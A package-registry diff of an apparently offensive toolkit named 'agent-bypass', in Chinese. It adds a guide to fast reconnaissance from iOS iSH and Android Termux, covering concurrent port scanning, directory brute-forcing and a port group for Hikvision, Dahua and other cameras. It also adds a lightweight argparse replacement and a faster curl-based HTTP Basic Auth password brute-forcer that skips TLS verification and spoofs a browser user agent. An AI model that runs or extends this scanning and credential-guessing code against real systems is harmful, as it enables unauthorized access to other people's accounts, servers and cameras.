agent-bypass 2.11.5 → 2.11.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,102 @@
1
+ # 移动环境快速侦察(iSH / Termux)
2
+
3
+ 手机端(iOS iSH、Android Termux)执行扫描/爆破的优化方案、实测基准与自动兜底链。
4
+ 以下数字为本机 iSH(iOS, Alpine aarch64 模拟环境)实测,2026-09。
5
+
6
+ ## 一、实测基准(iSH)
7
+
8
+ | 场景 | 慢办法 | 快办法 | 倍数 |
9
+ |---|---|---|---|
10
+ | 50 端口(静默目标,等超时) | 串行 40.2s | selectors 并发 0.89s | 45x |
11
+ | 500 端口(本地) | - | selectors 0.9s | - |
12
+ | 10 URL HTTP 探测 | 串行 15.2s | curl -Z 并行 2.7s | 5.6x |
13
+ | 目录爆破 183 路径 | py 线程池 106s | curl -Z 引擎 6s | 17.7x |
14
+ | DNS 单域名(本地 resolver) | DoH 1102ms | UDP 直发 5ms | 220x |
15
+ | DNS 30 域名批量 | getent 串行 0.2s | UDP 并发 0.1s | 1.4x |
16
+
17
+ 关键坑:
18
+ - 每个请求重建 urllib opener → 触发 getproxies() 读系统代理设置(iSH 下单次约 200ms)→ opener 必须全局缓存。
19
+ - DoH 在移动环境极慢(每域名一次 HTTPS 往返 + 走代理);批量解析用本地 resolver(/etc/resolv.conf,通常 198.18.x.x 代理回环)UDP 直发。
20
+ - 外网 UDP:53 通常被代理环境过滤,UDP 只打本地 resolver。
21
+
22
+ ## 二、fastrecon 用法速查
23
+
24
+ 三合一:dns(UDP 并发+缓存)/ scan(selectors)/ http(curl -Z)。
25
+
26
+ ```bash
27
+ # DNS 批量(UDP 并发 + 本地缓存 + getent 兜底)
28
+ python3 scripts/fastrecon.py dns example.com,github.com
29
+ python3 scripts/fastrecon.py dns subs.txt -w 50
30
+
31
+ # 端口扫描(selectors 并发 + 逐 sock 精确超时)
32
+ python3 scripts/fastrecon.py scan 192.168.1.1 -p top100
33
+ python3 scripts/fastrecon.py scan 10.0.0.0/24 -p 22,80,443 -t 0.6
34
+ python3 scripts/fastrecon.py scan host -p 1-1000 -b # 抓服务横幅
35
+
36
+ # HTTP 批量(curl -Z 并行,10 秒扫完数百 URL)
37
+ python3 scripts/fastrecon.py http urls.txt -b 48
38
+ python3 scripts/fastrecon.py http 'https://a.com,https://b.com' --code
39
+ ```
40
+
41
+ ## 三、自动兜底链(快 → 慢)
42
+
43
+ | 能力 | 主路径(默认) | 自动兜底 1 | 自动兜底 2 |
44
+ |---|---|---|---|
45
+ | DNS | UDP 并发直发(5ms/个) | 失败率>60% → getent 并发 | DoH(最后手段,慢) |
46
+ | 端口 | selectors 并发(45x) | selectors 异常 → 线程池 connect | 低并发串行 |
47
+ | HTTP | curl -Z 并行(C 实现) | 无 curl → Python urllib 并发 | 单请求逐个 |
48
+ | 目录爆破 | dirbrute --engine curl(批量+软404过滤) | 无 curl → --engine py 线程池 | - |
49
+ | 凭据爆破 | basicauth curl -Z(URL 内嵌凭据并行) | 无 curl / 需 delay 控制 → py 精细模式 | - |
50
+
51
+ fastrecon 内置自动切换;dirbrute / basicauth_brute 用 --engine auto(默认)自动选择。
52
+
53
+ ## 四、平台工具矩阵
54
+
55
+ ### iSH(iOS)
56
+ - 可用:Python 纯标准库、curl、busybox、apk(i386 包,nmap 可装但模拟层慢)
57
+ - 推荐:fastrecon 全家桶 + curl -Z
58
+ - 不可行:Go/Rust 原生二进制(x86 模拟架构不匹配)
59
+
60
+ ### Termux(Android arm64)
61
+ - 原生工具优先:
62
+ - `pkg install nmap`(C)
63
+ - `pkg install rustscan`(Rust,65k 端口 3 秒级,依赖 nmap)
64
+ - `pkg install masscan`(C,SYN 异步高速;或 anasfanani/masscan-termux-android)
65
+ - `pkg install ffuf`、`pkg install feroxbuster`(内容发现)
66
+ - naabu(Go,ProjectDiscovery release 直接下载 arm64)
67
+ - 无 root:SYN 半开不可用(masscan/nmap -sS 需 root);TCP connect(rustscan/naabu/fastrecon)通用。
68
+ - 兜底:原生工具不可用时回退 fastrecon / dirbrute(Python 版照常可跑)。
69
+
70
+ ## 五、性能技巧清单
71
+
72
+ 1. 并发模型优先级:selectors(单线程 IO 多路复用)> 线程池 > 串行。iSH 线程切换开销大,selectors 最稳。
73
+ 2. 超时管理:非阻塞 connect 超时不会触发 select 事件——必须逐 socket 计时清理,否则整轮扫描被拖到兜底超时。
74
+ 3. DNS:批量 UDP 并发 + 本地缓存文件;避免 DoH;getent 兜底。
75
+ 4. HTTP:curl -Z(--parallel-max)是 C 级并行,比 Python 快一个数量级;每个 URL 必须配对 -o /dev/null(否则多余 body 污染 stdout)。
76
+ 5. urllib:opener 全局缓存(getproxies 系统调用是隐藏杀手)。
77
+ 6. 测试方法:单线程测试服务器会制造假象(客户端背锅);并发测试用多线程服务器。
78
+ 7. 软404:目标返回"200 假页面"时,先探测随机路径取基线(状态码+大小),过滤假阳性(dirbrute curl 引擎内置此逻辑)。
79
+ 8. 大范围扫描:先用 top100 快扫定位存活,再做全端口深扫;CIDR 用 /24 以内切片分次跑。
80
+
81
+ ## v2.11.6 提速与自适配(2026-09-28)
82
+
83
+ ### iSH import 成本实测与懒加载策略
84
+ - 实测(每次调用固定成本):urllib.request 5s、subprocess 3s、concurrent.futures 2s、argparse 1.8s、json 1.8s、ssl 1s、socket/selectors 各 1s
85
+ - 策略:重模块全部懒加载(首次用才 import);argparse 换 argsmini.py 极简解析(0 成本);curl 调用改 os.popen(免 subprocess 3s);dns 线程池自研(免 cf 2s)
86
+ - 自适配:platf.py 探测 iSH/Termux/RPi/Linux/macOS/Windows → 并发/超时自动调参
87
+
88
+ ### 耗时对比(iSH 实测,含 Python 启动)
89
+ | 命令 | 改造前 | v2.11.6 |
90
+ |------|--------|---------|
91
+ | scan | 4-7s | 1s |
92
+ | dns | 7s | 2s |
93
+ | dirbrute | 7-8s | 3s |
94
+ | basicauth | 8s | 5s |
95
+
96
+ ### DoT(DNS over TLS)
97
+ - `fastrecon dns example.com --via dot --resolver 1.1.1.1`(RFC 7858:TCP 853+TLS,帧格式同 TCP)
98
+ - `--via auto`:UDP 失败自动切 DoT;论文实测 DoT 优于 DoH、Do53 最快
99
+ - 解析链:UDP →(auto 时)DoT → getent → DoH
100
+
101
+ ### 摄像头端口组(-p cam)
102
+ 80/81/88/443/554/8554/8000/8080/8081/8899/34567/37777/9527/2000/2020/1935/5000/5001/5540/7070/7447/4520/8787——覆盖 Hikvision/Dahua/XMeye/Axis/Reolink 等相机与 NVR。
@@ -0,0 +1,210 @@
1
+ """argparse 极简兼容层(iSH 上省 ~1.8s import 成本,全部工具共用)。
2
+ 覆盖子集:位置参数(含 nargs='?')、--opt 值、--opt=value、type、default、
3
+ choices、store_true、action='append'、required、dest、set_defaults、
4
+ subparsers(dest)、parse_args、error、-h。
5
+ 不支持:前缀缩写、metavar、互斥组、nargs 其他取值等(全部工具未用)。"""
6
+ import sys
7
+
8
+
9
+ def _basename(p):
10
+ return p.rsplit('/', 1)[-1] or p
11
+
12
+
13
+ class _NS:
14
+ pass
15
+
16
+
17
+ class ArgumentParser:
18
+ def __init__(self, prog=None, description=None, **kw):
19
+ self.prog = prog or _basename(sys.argv[0])
20
+ self.description = description or ''
21
+ self._opts = []
22
+ self._sub_dest = None
23
+ self._sub_parsers = {}
24
+ self._defaults = {}
25
+
26
+ def add_argument(self, *names, **kw):
27
+ action = kw.get('action')
28
+ flag = action == 'store_true'
29
+ append = action == 'append'
30
+ optpos = kw.get('nargs') == '?'
31
+ if len(names) == 1 and not names[0].startswith('-'):
32
+ o = dict(dest=kw.get('dest') or names[0], flags=None, pos=True,
33
+ is_flag=False, append=False, required=False, optpos=optpos,
34
+ type=kw.get('type', str), default=kw.get('default'),
35
+ choices=kw.get('choices'), help=kw.get('help', ''))
36
+ else:
37
+ longs = [n for n in names if n.startswith('--')]
38
+ dest = kw.get('dest') or ((longs[0] if longs else names[0])
39
+ .lstrip('-').replace('-', '_'))
40
+ o = dict(dest=dest, flags=list(names), pos=False, is_flag=flag,
41
+ append=append, required=bool(kw.get('required')),
42
+ optpos=False, type=kw.get('type', str),
43
+ default=kw.get('default', [] if append else (False if flag else None)),
44
+ choices=kw.get('choices'), help=kw.get('help', ''))
45
+ self._opts.append(o)
46
+
47
+ def set_defaults(self, **kw):
48
+ self._defaults.update(kw)
49
+
50
+ def add_subparsers(self, dest=None, **kw):
51
+ self._sub_dest = dest or 'cmd'
52
+ holder = self
53
+
54
+ class _Sub:
55
+ def add_parser(self, name, help=''):
56
+ p = ArgumentParser(prog='%s %s' % (holder.prog, name), description=help)
57
+ holder._sub_parsers[name] = p
58
+ return p
59
+ return _Sub()
60
+
61
+ def parse_args(self, argv=None):
62
+ argv = list(sys.argv[1:] if argv is None else argv)
63
+ if self._sub_parsers:
64
+ ns = _NS()
65
+ for k, v in self._defaults.items():
66
+ setattr(ns, k, v)
67
+ if not argv:
68
+ setattr(ns, self._sub_dest, None)
69
+ return ns
70
+ for i, t in enumerate(argv):
71
+ if not t.startswith('-'):
72
+ name, rest = t, argv[:i] + argv[i + 1:]
73
+ break
74
+ else:
75
+ if argv[0] in ('-h', '--help'):
76
+ self.print_help()
77
+ raise SystemExit(0)
78
+ self.error('unrecognized arguments: %s' % argv[0])
79
+ sp = self._sub_parsers.get(name)
80
+ if sp is None:
81
+ self.error('无效命令: %s(可选: %s)' % (name, ', '.join(sorted(self._sub_parsers))))
82
+ ns = sp.parse_args(rest)
83
+ setattr(ns, self._sub_dest, name)
84
+ return ns
85
+ ns = _NS()
86
+ for o in self._opts:
87
+ setattr(ns, o['dest'], o['default'])
88
+ for k, v in self._defaults.items():
89
+ setattr(ns, k, v)
90
+ pos_order = [o for o in self._opts if o['pos']]
91
+ pos_idx = 0
92
+ i = 0
93
+ while i < len(argv):
94
+ t = argv[i]
95
+ if t in ('-h', '--help'):
96
+ self.print_help()
97
+ raise SystemExit(0)
98
+ if t.startswith('-') and t != '-':
99
+ tkey, teq, tval = t.partition('=')
100
+ o = self._find(tkey if teq else t)
101
+ if o is None:
102
+ self.error('unrecognized arguments: %s' % t)
103
+ if o['is_flag']:
104
+ setattr(ns, o['dest'], True)
105
+ i += 1
106
+ elif teq:
107
+ self._setval(ns, o, self._conv(o, tval, tkey))
108
+ i += 1
109
+ else:
110
+ if i + 1 >= len(argv):
111
+ self.error('argument %s: expected one argument' % t)
112
+ self._setval(ns, o, self._conv(o, argv[i + 1], t))
113
+ i += 2
114
+ else:
115
+ if pos_idx >= len(pos_order):
116
+ self.error('unrecognized arguments: %s' % t)
117
+ o = pos_order[pos_idx]
118
+ setattr(ns, o['dest'], self._conv(o, t, o['dest']))
119
+ pos_idx += 1
120
+ i += 1
121
+ for o in pos_order[pos_idx:]:
122
+ if o['default'] is None and not o['optpos']:
123
+ self.error('the following arguments are required: %s' % o['dest'])
124
+ for o in self._opts:
125
+ if o['required'] and getattr(ns, o['dest']) is None:
126
+ fl = ', '.join(o['flags'] or [o['dest']])
127
+ self.error('the following arguments are required: %s' % fl)
128
+ return ns
129
+
130
+ def _setval(self, ns, o, v):
131
+ if o['append']:
132
+ cur = getattr(ns, o['dest'])
133
+ if not isinstance(cur, list):
134
+ cur = []
135
+ setattr(ns, o['dest'], cur)
136
+ cur.append(v)
137
+ else:
138
+ setattr(ns, o['dest'], v)
139
+
140
+ def _find(self, flag):
141
+ for o in self._opts:
142
+ if o['flags'] and flag in o['flags']:
143
+ return o
144
+ return None
145
+
146
+ def _conv(self, o, raw, shown):
147
+ if o['type'] is not str:
148
+ try:
149
+ v = o['type'](raw)
150
+ except (ValueError, TypeError):
151
+ self.error('argument %s: invalid %s value: %r' % (shown, o['type'].__name__, raw))
152
+ return None
153
+ else:
154
+ v = raw
155
+ if o['choices'] is not None and v not in o['choices']:
156
+ self.error('argument %s: invalid choice: %r (choose from %s)' % (
157
+ shown, v, ', '.join(map(repr, o['choices']))))
158
+ return v
159
+
160
+ def print_help(self, out=None):
161
+ out = out if out is not None else sys.stdout
162
+ w = out.write
163
+ w('usage: %s [-h] [options]\n' % self.prog)
164
+ if self.description:
165
+ w('\n%s\n' % self.description)
166
+ w('\noptions:\n')
167
+ for o in self._opts:
168
+ if o['flags']:
169
+ meta = ' {%s}' % ', '.join(map(str, o['choices'])) if o['choices'] else ''
170
+ req = ' (required)' if o.get('required') else ''
171
+ w(' %s%s%s %s\n' % (', '.join(o['flags']), meta, req, o['help']))
172
+ else:
173
+ w(' %s %s\n' % (o['dest'], o['help']))
174
+ if self._sub_parsers:
175
+ w('\ncommands:\n')
176
+ for n, p in sorted(self._sub_parsers.items()):
177
+ w(' %s %s\n' % (n, p.description))
178
+ w(' -h, --help show this help message and exit\n')
179
+
180
+ def error(self, message):
181
+ sys.stderr.write('%s: error: %s\n' % (self.prog, message))
182
+ raise SystemExit(2)
183
+
184
+
185
+ if __name__ == '__main__':
186
+ ap = ArgumentParser(prog='amtest', description='argsmini 自测')
187
+ sub = ap.add_subparsers(dest='cmd')
188
+ d = sub.add_parser('dns', help='dns test')
189
+ d.add_argument('target', help='域名')
190
+ d.add_argument('-w', '--workers', type=int, default=8, help='并发')
191
+ d.add_argument('--dot', action='store_true', help='DoT')
192
+ d.add_argument('--via', choices=['udp', 'dot'], default='udp', help='通道')
193
+ a = sub.add_parser('add', help='add test')
194
+ a.add_argument('--type', required=True, choices=['a', 'b'], help='类型')
195
+ a.add_argument('--lib', action='append', default=[], help='重复项')
196
+ a.add_argument('--from', dest='source', default='', help='dest 改名')
197
+ a.add_argument('tgt', nargs='?', help='可选位置')
198
+ a.set_defaults(func='F')
199
+ ns = ap.parse_args(['add', '--type=a', '--lib', 'x', '--lib=y', '--from', 'src'])
200
+ assert (ns.cmd, ns.type, ns.lib, ns.source, ns.tgt, ns.func) == \
201
+ ('add', 'a', ['x', 'y'], 'src', None, 'F'), vars(ns)
202
+ ns2 = ap.parse_args(['dns', 'example.com', '-w', '4', '--dot'])
203
+ assert (ns2.cmd, ns2.target, ns2.workers, ns2.dot, ns2.via) == \
204
+ ('dns', 'example.com', 4, True, 'udp'), vars(ns2)
205
+ try:
206
+ ap.parse_args(['add'])
207
+ raise AssertionError('required 未触发')
208
+ except SystemExit as e:
209
+ assert e.code == 2
210
+ print('argsmini self-test OK')
@@ -4,23 +4,94 @@
4
4
  HTTP Basic Auth 爆破(低并发 + 退避,避免触发 WAF/封 IP)
5
5
  用法: python3 basicauth_brute.py <url> <userlist> <passlist> [--conc 4] [--delay 0.15]
6
6
  """
7
- import sys, ssl, base64, time, json, argparse, urllib.request, urllib.error, concurrent.futures
7
+ import os, sys, base64, time, json, shutil, re
8
+ import argsmini as argparse
9
+
10
+ # ---- 懒加载/popen 优化:ssl/urllib/concurrent import 各耗 1-5s(iSH),仅首次用时载入 ----
11
+ _ssl_m = None
12
+ def _get_ssl():
13
+ global _ssl_m
14
+ if _ssl_m is None: import ssl as _s; _ssl_m = _s
15
+ return _ssl_m
16
+ _url_m = None
17
+ def _get_urllib():
18
+ global _url_m
19
+ if _url_m is None: import urllib.request as _r; import urllib.error as _e; _url_m = (_r, _e)
20
+ return _url_m
21
+ _cf_m = None
22
+ def _get_cf():
23
+ global _cf_m
24
+ if _cf_m is None: import concurrent.futures as _c; _cf_m = _c
25
+ return _cf_m
26
+ def _quote(s):
27
+ import urllib.parse as _p
28
+ return _p.quote(s, safe='')
29
+ def _unquote(s):
30
+ import urllib.parse as _p
31
+ return _p.unquote(s)
32
+ _SAFE = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@%_+=:,./-")
33
+ def _shq(s):
34
+ if s and all(c in _SAFE for c in s): return s
35
+ return "'%s'" % s.replace("'", "'" + chr(92) + "'" + "'")
36
+ def _run_curl(cargs):
37
+ p = os.popen(" ".join(_shq(a) for a in cargs) + " 2>/dev/null")
38
+ out = p.read(); p.close(); return out
39
+ _CTX = None
40
+ def _ctx():
41
+ global _CTX
42
+ if _CTX is None:
43
+ _s = _get_ssl()
44
+ c = _s.SSLContext(_s.PROTOCOL_TLS_CLIENT)
45
+ c.check_hostname = False
46
+ c.verify_mode = _s.CERT_NONE
47
+ _CTX = c
48
+ return _CTX
8
49
 
9
50
  UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
10
- CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
11
51
 
12
52
  def try_one(url, user, pwd, delay):
53
+ _r, _e = _get_urllib()
13
54
  if delay: time.sleep(delay)
14
55
  tok = base64.b64encode(f"{user}:{pwd}".encode()).decode()
15
- r = urllib.request.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
56
+ r = _r.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
16
57
  try:
17
- with urllib.request.urlopen(r, timeout=10, context=CTX) as resp:
58
+ with _r.urlopen(r, timeout=10, context=_ctx()) as resp:
18
59
  return (user, pwd, resp.status, resp.read(200))
19
- except urllib.error.HTTPError as e:
60
+ except _e.HTTPError as e:
20
61
  return (user, pwd, e.code, b"")
21
62
  except Exception as e:
22
63
  return (user, pwd, 0, str(e).encode()[:100])
23
64
 
65
+ def brute_curl(url, users, passes, batch, timeout):
66
+ """快速引擎:curl -Z 批量(URL 内嵌凭据,状态码区分)"""
67
+ pairs = [(u, p) for u in users for p in passes]
68
+ scheme, _, rest = url.partition('://')
69
+ hits = 0
70
+ for i in range(0, len(pairs), batch):
71
+ chunk = pairs[i:i + batch]
72
+ cargs = ['curl', '-sZ', '--parallel-max', str(batch), '-m', str(timeout),
73
+ '-w', '%{http_code} %{url_effective}\n']
74
+ for u, p in chunk:
75
+ cargs += ['-o', '/dev/null', f"{scheme}://{_quote(u)}:{_quote(p)}@{rest}"]
76
+ try:
77
+ out = _run_curl(cargs)
78
+ except OSError:
79
+ continue
80
+ for line in out.splitlines():
81
+ code_s, _, eff = line.partition(' ')
82
+ code = int(code_s) if code_s.isdigit() else 0
83
+ m = re.match(r'^[a-zA-Z]+://([^@]+)@', eff)
84
+ cred = _unquote(m.group(1)) if m else ''
85
+ u, _, p = cred.partition(':')
86
+ if code in (200, 301, 302):
87
+ hits += 1
88
+ print(json.dumps({"HIT": True, "user": u, "pass": p, "status": code}))
89
+ elif code not in (401, 0):
90
+ print(json.dumps({"odd": True, "user": u, "pass": p, "status": code}))
91
+ print(f"[*] {min(i + batch, len(pairs))}/{len(pairs)} done", file=sys.stderr)
92
+ print(json.dumps({"done": True, "attempts": len(pairs), "hits": hits}))
93
+
94
+
24
95
  def main():
25
96
  ap = argparse.ArgumentParser()
26
97
  ap.add_argument("url"); ap.add_argument("users"); ap.add_argument("passes")
@@ -29,10 +100,14 @@ def main():
29
100
  users = [l.strip() for l in open(a.users) if l.strip()]
30
101
  passes = [l.strip() for l in open(a.passes) if l.strip()]
31
102
  print(f"[*] {len(users)} users x {len(passes)} passes = {len(users)*len(passes)} attempts", file=sys.stderr)
103
+ if (not a.delay or a.delay <= 0) and shutil.which("curl"):
104
+ print("[*] 快速模式: curl -Z 批量(无 curl 或缺 delay 控制需求时自动改用线程池)", file=sys.stderr)
105
+ brute_curl(a.url, users, passes, 48, 10)
106
+ return
32
107
  n = 0
33
- with concurrent.futures.ThreadPoolExecutor(max_workers=a.conc) as ex:
108
+ with _get_cf().ThreadPoolExecutor(max_workers=a.conc) as ex:
34
109
  futs = [ex.submit(try_one, a.url, u, p, a.delay) for u in users for p in passes]
35
- for f in concurrent.futures.as_completed(futs):
110
+ for f in _get_cf().as_completed(futs):
36
111
  u, p, st, body = f.result()
37
112
  n += 1
38
113
  if st in (200, 302, 301):
@@ -13,7 +13,8 @@
13
13
  2. NVD 官方,最全
14
14
  3. GitHub 相关 PoC 仓库
15
15
  """
16
- import argparse, json, ssl, sys, urllib.parse
16
+ import argsmini as argparse
17
+ import json, ssl, sys, urllib.parse
17
18
  import urllib.request, urllib.error
18
19
 
19
20
  CTX = ssl.create_default_context()
package/scripts/deck.py CHANGED
@@ -19,7 +19,8 @@
19
19
  python3 deck.py clear
20
20
  python3 deck.py next-round
21
21
  """
22
- import argparse, json, os
22
+ import argsmini as argparse
23
+ import json, os
23
24
  from datetime import datetime, timezone, timedelta
24
25
 
25
26
  BASE = os.path.dirname(os.path.abspath(__file__))
@@ -20,7 +20,8 @@
20
20
  # 只提取不查 CVE
21
21
  python3 depscan.py https://target.com --no-cve
22
22
  """
23
- import argparse, json, re, ssl, sys, urllib.parse
23
+ import argsmini as argparse
24
+ import json, re, ssl, sys, urllib.parse
24
25
  import urllib.request, urllib.error
25
26
 
26
27
  CTX = ssl.create_default_context()